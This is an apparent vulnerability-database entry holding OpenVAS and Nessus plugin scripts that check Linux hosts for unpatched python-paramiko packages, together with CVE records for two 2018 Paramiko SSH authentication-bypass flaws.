Fedora Update for python-paramiko FEDORA-2018-aff51f5e62
2018-10-15T00:00:00
ID OPENVAS:1361412562310875192 Type openvas Reporter Copyright (C) 2018 Greenbone Networks GmbH Modified 2019-03-15T00:00:00
Description
The remote host is missing an update for the
###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_fedora_2018_aff51f5e62_python-paramiko_fc27.nasl 14223 2019-03-15 13:49:35Z cfischer $
#
# Fedora Update for python-paramiko FEDORA-2018-aff51f5e62
#
# Authors:
# System Generated Check
#
# Copyright:
# Copyright (C) 2018 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.875192");
script_version("$Revision: 14223 $");
script_tag(name:"last_modification", value:"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $");
script_tag(name:"creation_date", value:"2018-10-15 07:14:27 +0200 (Mon, 15 Oct 2018)");
script_cve_id("CVE-2018-1000805", "CVE-2018-7750");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_tag(name:"qod_type", value:"package");
script_name("Fedora Update for python-paramiko FEDORA-2018-aff51f5e62");
script_tag(name:"summary", value:"The remote host is missing an update for the 'python-paramiko'
package(s) announced via the referenced advisory.");
script_tag(name:"vuldetect", value:"Checks if a vulnerable version is present
on the target host.");
script_tag(name:"affected", value:"python-paramiko on Fedora 27");
script_tag(name:"solution", value:"Please install the updated packages.");
script_xref(name:"FEDORA", value:"2018-aff51f5e62");
script_xref(name:"URL", value:"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZBWZFBHEZWFCY6NL54XA46IXCXU2TESU");
script_tag(name:"solution_type", value:"VendorFix");
script_category(ACT_GATHER_INFO);
script_copyright("Copyright (C) 2018 Greenbone Networks GmbH");
script_family("Fedora Local Security Checks");
script_dependencies("gather-package-list.nasl");
script_mandatory_keys("ssh/login/fedora", "ssh/login/rpms", re:"ssh/login/release=FC27");
exit(0);
}
include("revisions-lib.inc");
include("pkg-lib-rpm.inc");
release = rpm_get_ssh_release();
if(!release)
exit(0);
res = "";
if(release == "FC27")
{
if ((res = isrpmvuln(pkg:"python-paramiko", rpm:"python-paramiko~2.3.3~1.fc27", rls:"FC27")) != NULL)
{
security_message(data:res);
exit(0);
}
if (__pkg_match) exit(99);
exit(0);
}
{"id": "OPENVAS:1361412562310875192", "type": "openvas", "bulletinFamily": "scanner", "title": "Fedora Update for python-paramiko FEDORA-2018-aff51f5e62", "description": "The remote host is missing an update for the ", "published": "2018-10-15T00:00:00", "modified": "2019-03-15T00:00:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310875192", "reporter": "Copyright (C) 2018 Greenbone Networks GmbH", "references": ["https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZBWZFBHEZWFCY6NL54XA46IXCXU2TESU", "2018-aff51f5e62"], "cvelist": ["CVE-2018-1000805", "CVE-2018-7750"], "lastseen": "2019-05-29T18:32:54", "viewCount": 4, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2018-7750", "CVE-2018-1000805"]}, {"type": "fedora", "idList": ["FEDORA:576E760DF393", "FEDORA:3059C60C6170", "FEDORA:26150601DEF1", "FEDORA:0BDE5630D665", "FEDORA:94A686078F58", "FEDORA:0C5276075D81"]}, {"type": "nessus", "idList": ["EULEROS_SA-2019-1339.NASL", "ORACLEVM_OVMSA-2018-0270.NASL", "FEDORA_2018-3FF1CB628B.NASL", "ALA_ALAS-2018-1096.NASL", "CENTOS_RHSA-2018-3406.NASL", "CENTOS_RHSA-2018-3347.NASL", "ORACLELINUX_ELSA-2018-3347.NASL", "ORACLELINUX_ELSA-2018-3406.NASL", "SL_20181030_PYTHON_PARAMIKO_ON_SL7_X.NASL", "DEBIAN_DLA-1556.NASL"]}, {"type": "debian", "idList": ["DEBIAN:DLA-1556-1:77050"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310891556", "OPENVAS:1361412562311220181443", "OPENVAS:1361412562310882969", "OPENVAS:1361412562311220201703", "OPENVAS:1361412562311220191339", "OPENVAS:1361412562311220191404", "OPENVAS:1361412562310852269", "OPENVAS:1361412562310875207", "OPENVAS:1361412562311220201588", "OPENVAS:1361412562310843661"]}, {"type": "amazon", "idList": ["ALAS-2018-1096", "ALAS-2018-989"]}, {"type": "redhat", "idList": ["RHSA-2018:1213", "RHSA-2018:3347", "RHSA-2018:3406", "RHSA-2018:0591", "RHSA-2018:0646", "RHSA-2018:1124", "RHSA-2018:1125"]}, {"type": "oraclelinux", "idList": ["ELSA-2018-3347", "ELSA-2018-3406", "ELSA-2018-1124"]}, {"type": "github", "idList": ["GHSA-F2J6-WRHH-V25M", "GHSA-232R-66CG-79PX"]}, {"type": "centos", "idList": ["CESA-2018:1124", "CESA-2018:3406", "CESA-2018:3347"]}, {"type": "ubuntu", "idList": ["USN-3603-1", "USN-3796-3", "USN-3796-2", "USN-3796-1", "USN-3603-2"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2019:0129-1", "OPENSUSE-SU-2018:0799-1", "SUSE-SU-2018:0844-1", "SUSE-SU-2018:0873-1"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:8993AE34C3838975CB9FF94F3F9FEC81", "EXPLOITPACK:8B7915D0D2EEAEF1BBD188C139A91363"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:149983", "PACKETSTORM:150020"]}, {"type": "zdt", "idList": ["1337DAY-ID-31454"]}, {"type": "exploitdb", "idList": ["EDB-ID:45712"]}], "modified": "2019-05-29T18:32:54", "rev": 2}, "score": {"value": 6.8, "vector": "NONE", "modified": "2019-05-29T18:32:54", "rev": 2}, "vulnersScore": 6.8}, "pluginID": "1361412562310875192", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_fedora_2018_aff51f5e62_python-paramiko_fc27.nasl 14223 2019-03-15 13:49:35Z cfischer $\n#\n# Fedora Update for python-paramiko FEDORA-2018-aff51f5e62\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2018 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.875192\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2018-10-15 07:14:27 +0200 (Mon, 15 Oct 2018)\");\n script_cve_id(\"CVE-2018-1000805\", \"CVE-2018-7750\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for python-paramiko FEDORA-2018-aff51f5e62\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'python-paramiko'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present\n on the target host.\");\n script_tag(name:\"affected\", value:\"python-paramiko on Fedora 27\");\n script_tag(name:\"solution\", value:\"Please install the updated packages.\");\n\n script_xref(name:\"FEDORA\", value:\"2018-aff51f5e62\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZBWZFBHEZWFCY6NL54XA46IXCXU2TESU\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC27\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC27\")\n{\n\n if ((res = isrpmvuln(pkg:\"python-paramiko\", rpm:\"python-paramiko~2.3.3~1.fc27\", rls:\"FC27\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "naslFamily": "Fedora Local Security Checks"}
{"cve": [{"lastseen": "2021-02-02T06:52:22", "description": "Paramiko version 2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8, 1.18.5, 1.17.6 contains a Incorrect Access Control vulnerability in SSH server that can result in RCE. This attack appear to be exploitable via network connectivity.", "edition": 6, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-10-08T15:29:00", "title": "CVE-2018-1000805", "type": "cve", "cwe": ["CWE-732"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-1000805"], "modified": "2020-10-15T13:28:00", "cpe": ["cpe:/o:redhat:enterprise_linux_server_tus:7.6", "cpe:/a:paramiko:paramiko:2.0.8", "cpe:/a:paramiko:paramiko:1.17.6", "cpe:/o:canonical:ubuntu_linux:18.04", "cpe:/o:redhat:enterprise_linux_server_eus:6.7", "cpe:/a:paramiko:paramiko:1.18.5", "cpe:/o:redhat:enterprise_linux_desktop:6.0", "cpe:/o:debian:debian_linux:8.0", "cpe:/o:canonical:ubuntu_linux:12.04", "cpe:/o:canonical:ubuntu_linux:18.10", "cpe:/o:canonical:ubuntu_linux:16.04", "cpe:/o:redhat:enterprise_linux_server:7.0", "cpe:/a:paramiko:paramiko:2.3.2", "cpe:/o:redhat:enterprise_linux_server_aus:7.6", "cpe:/o:redhat:enterprise_linux_server_aus:6.5", "cpe:/a:redhat:ansible_tower:3.3", "cpe:/o:redhat:enterprise_linux_workstation:7.0", "cpe:/a:paramiko:paramiko:2.4.1", "cpe:/a:paramiko:paramiko:2.2.3", "cpe:/o:redhat:enterprise_linux_desktop:7.0", "cpe:/a:paramiko:paramiko:2.1.5", "cpe:/o:redhat:enterprise_linux_workstation:6.0", "cpe:/o:redhat:enterprise_linux_server_aus:6.4", "cpe:/a:redhat:virtualization_host:4.0", "cpe:/o:redhat:enterprise_linux_server:6.0", "cpe:/o:redhat:enterprise_linux_server_tus:6.6", "cpe:/o:redhat:enterprise_linux_server_aus:6.6", "cpe:/o:redhat:enterprise_linux_server_eus:7.6", "cpe:/o:canonical:ubuntu_linux:14.04"], "id": "CVE-2018-1000805", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-1000805", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:redhat:enterprise_linux_server_aus:7.6:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:virtualization_host:4.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_eus:6.7:*:*:*:*:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:12.04:*:*:*:esm:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server:6.0:*:*:*:*:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:16.04:*:*:*:lts:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_desktop:7.0:*:*:*:*:*:*:*", "cpe:2.3:a:paramiko:paramiko:2.1.5:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_desktop:6.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_aus:6.4:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server:7.0:*:*:*:*:*:*:*", "cpe:2.3:a:paramiko:paramiko:2.0.8:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_workstation:6.0:*:*:*:*:*:*:*", "cpe:2.3:a:paramiko:paramiko:2.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:paramiko:paramiko:1.17.6:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_tus:7.6:*:*:*:*:*:*:*", "cpe:2.3:a:paramiko:paramiko:2.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:paramiko:paramiko:1.18.5:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_aus:6.5:*:*:*:*:*:*:*", "cpe:2.3:a:paramiko:paramiko:2.4.1:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_tus:6.6:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_eus:7.6:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_workstation:7.0:*:*:*:*:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:18.04:*:*:*:lts:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:18.10:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_aus:6.6:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:ansible_tower:3.3:*:*:*:*:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:14.04:*:*:*:lts:*:*:*"]}, {"lastseen": "2021-02-02T06:52:42", "description": "transport.py in the SSH server implementation of Paramiko before 1.17.6, 1.18.x before 1.18.5, 2.0.x before 2.0.8, 2.1.x before 2.1.5, 2.2.x before 2.2.3, 2.3.x before 2.3.2, and 2.4.x before 2.4.1 does not properly check whether authentication is completed before processing other requests, as demonstrated by channel-open. A customized SSH client can simply skip the authentication step.", "edition": 8, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-03-13T18:29:00", "title": "CVE-2018-7750", "type": "cve", "cwe": ["CWE-287"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-7750"], "modified": "2020-10-15T13:31:00", "cpe": ["cpe:/o:redhat:enterprise_linux_server_eus:6.7", "cpe:/o:redhat:enterprise_linux_desktop:6.0", "cpe:/o:debian:debian_linux:8.0", "cpe:/a:redhat:cloudforms:4.6", "cpe:/o:redhat:enterprise_linux_server:7.0", "cpe:/a:redhat:virtualization:4.1", "cpe:/o:redhat:enterprise_linux_server_aus:6.5", "cpe:/a:paramiko:paramiko:2.4.0", "cpe:/o:redhat:enterprise_linux_workstation:6.0", "cpe:/o:redhat:enterprise_linux_server_aus:6.4", "cpe:/a:redhat:ansible_engine:2.0", "cpe:/o:redhat:enterprise_linux_server:6.0", "cpe:/a:redhat:ansible_engine:2.4", "cpe:/a:redhat:cloudforms:4.5", "cpe:/o:redhat:enterprise_linux_server_tus:6.6", "cpe:/o:redhat:enterprise_linux_server_aus:6.6"], "id": "CVE-2018-7750", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-7750", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*", "cpe:2.3:a:paramiko:paramiko:2.4.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_eus:6.7:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server:6.0:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:ansible_engine:2.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_desktop:6.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_aus:6.4:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server:7.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_workstation:6.0:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:cloudforms:4.5:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_aus:6.5:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:virtualization:4.1:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_tus:6.6:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:ansible_engine:2.4:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_aus:6.6:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:cloudforms:4.6:*:*:*:*:*:*:*"]}], "nessus": [{"lastseen": "2021-01-12T09:39:58", "description": "CVE-2018-1000805 Fix to prevent malicious clients to trick the\nParamiko server into thinking an unauthenticated client is\nauthenticated.\n\nCVE-2018-7750 Fix check whether authentication is completed before\nprocessing other requests. A customized SSH client can simply skip the\nauthentication step.\n\nFor Debian 8 'Jessie', these problems have been fixed in version\n1.15.1-1+deb8u1.\n\nWe recommend that you upgrade your paramiko packages.\n\nNOTE: Tenable Network Security has extracted the preceding description\nblock directly from the DLA security advisory. Tenable has attempted\nto automatically clean and format it as much as possible without\nintroducing additional issues.", "edition": 18, "cvss3": {"score": 9.8, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2018-10-29T00:00:00", "title": "Debian DLA-1556-1 : paramiko security update", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805", "CVE-2018-7750"], "modified": "2018-10-29T00:00:00", "cpe": ["p-cpe:/a:debian:debian_linux:paramiko-doc", "p-cpe:/a:debian:debian_linux:python-paramiko", "cpe:/o:debian:debian_linux:8.0", "p-cpe:/a:debian:debian_linux:python3-paramiko"], "id": "DEBIAN_DLA-1556.NASL", "href": "https://www.tenable.com/plugins/nessus/118469", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Debian Security Advisory DLA-1556-1. The text\n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(118469);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2018-1000805\", \"CVE-2018-7750\");\n\n script_name(english:\"Debian DLA-1556-1 : paramiko security update\");\n script_summary(english:\"Checks dpkg output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"CVE-2018-1000805 Fix to prevent malicious clients to trick the\nParamiko server into thinking an unauthenticated client is\nauthenticated.\n\nCVE-2018-7750 Fix check whether authentication is completed before\nprocessing other requests. A customized SSH client can simply skip the\nauthentication step.\n\nFor Debian 8 'Jessie', these problems have been fixed in version\n1.15.1-1+deb8u1.\n\nWe recommend that you upgrade your paramiko packages.\n\nNOTE: Tenable Network Security has extracted the preceding description\nblock directly from the DLA security advisory. Tenable has attempted\nto automatically clean and format it as much as possible without\nintroducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://lists.debian.org/debian-lts-announce/2018/10/msg00018.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/jessie/paramiko\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Upgrade the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:paramiko-doc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:python-paramiko\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:python3-paramiko\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:8.0\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/10/27\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/10/29\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2018-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"8.0\", prefix:\"paramiko-doc\", reference:\"1.15.1-1+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"python-paramiko\", reference:\"1.15.1-1+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"python3-paramiko\", reference:\"1.15.1-1+deb8u1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-06T09:14:45", "description": "An update for python-paramiko is now available for Red Hat Enterprise\nLinux 6, Red Hat Enterprise Linux 6.4 Advanced Update Support, Red Hat\nEnterprise Linux 6.5 Advanced Update Support, Red Hat Enterprise Linux\n6.6 Advanced Update Support, Red Hat Enterprise Linux 6.6 Telco\nExtended Update Support, and Red Hat Enterprise Linux 6.7 Extended\nUpdate Support.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Critical. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nThe python-paramiko package provides a Python module that implements\nthe SSH2 protocol for encrypted and authenticated connections to\nremote machines. Unlike SSL, the SSH2 protocol does not require\nhierarchical certificates signed by a powerful central authority. The\nprotocol also includes the ability to open arbitrary channels to\nremote services across an encrypted tunnel.\n\nSecurity Fix(es) :\n\n* python-paramiko: Authentication bypass in auth_handler.py\n(CVE-2018-1000805)\n\nFor more details about the security issue(s), including the impact, a\nCVSS score, and other related information, refer to the CVE page(s)\nlisted in the References section.\n\nNote that Tenable Network Security has attempted to extract the\npreceding description block directly from the corresponding Red Hat\nsecurity advisory. Virtuozzo provides no description for VZLSA\nadvisories. Tenable has attempted to automatically clean and format\nit as much as possible without introducing additional issues.", "edition": 22, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2018-11-21T00:00:00", "title": "Virtuozzo 6 : python-paramiko (VZLSA-2018-3406)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805"], "modified": "2018-11-21T00:00:00", "cpe": ["cpe:/o:virtuozzo:virtuozzo:6", "p-cpe:/a:virtuozzo:virtuozzo:python-paramiko"], "id": "VIRTUOZZO_VZLSA-2018-3406.NASL", "href": "https://www.tenable.com/plugins/nessus/119090", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(119090);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/04\");\n\n script_cve_id(\n \"CVE-2018-1000805\"\n );\n\n script_name(english:\"Virtuozzo 6 : python-paramiko (VZLSA-2018-3406)\");\n script_summary(english:\"Checks the rpm output for the updated package.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Virtuozzo host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"An update for python-paramiko is now available for Red Hat Enterprise\nLinux 6, Red Hat Enterprise Linux 6.4 Advanced Update Support, Red Hat\nEnterprise Linux 6.5 Advanced Update Support, Red Hat Enterprise Linux\n6.6 Advanced Update Support, Red Hat Enterprise Linux 6.6 Telco\nExtended Update Support, and Red Hat Enterprise Linux 6.7 Extended\nUpdate Support.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Critical. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nThe python-paramiko package provides a Python module that implements\nthe SSH2 protocol for encrypted and authenticated connections to\nremote machines. Unlike SSL, the SSH2 protocol does not require\nhierarchical certificates signed by a powerful central authority. The\nprotocol also includes the ability to open arbitrary channels to\nremote services across an encrypted tunnel.\n\nSecurity Fix(es) :\n\n* python-paramiko: Authentication bypass in auth_handler.py\n(CVE-2018-1000805)\n\nFor more details about the security issue(s), including the impact, a\nCVSS score, and other related information, refer to the CVE page(s)\nlisted in the References section.\n\nNote that Tenable Network Security has attempted to extract the\npreceding description block directly from the corresponding Red Hat\nsecurity advisory. Virtuozzo provides no description for VZLSA\nadvisories. Tenable has attempted to automatically clean and format\nit as much as possible without introducing additional issues.\");\n # http://repo.virtuozzo.com/vzlinux/announcements/json/VZLSA-2018-3406.json\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?143fb3c2\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/errata/RHSA-2018:3406\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected python-paramiko package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/11/05\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/11/21\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:virtuozzo:virtuozzo:python-paramiko\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:virtuozzo:virtuozzo:6\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Virtuozzo Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2018-2021 and is owned by Tenable, Inc. or an Affiliate 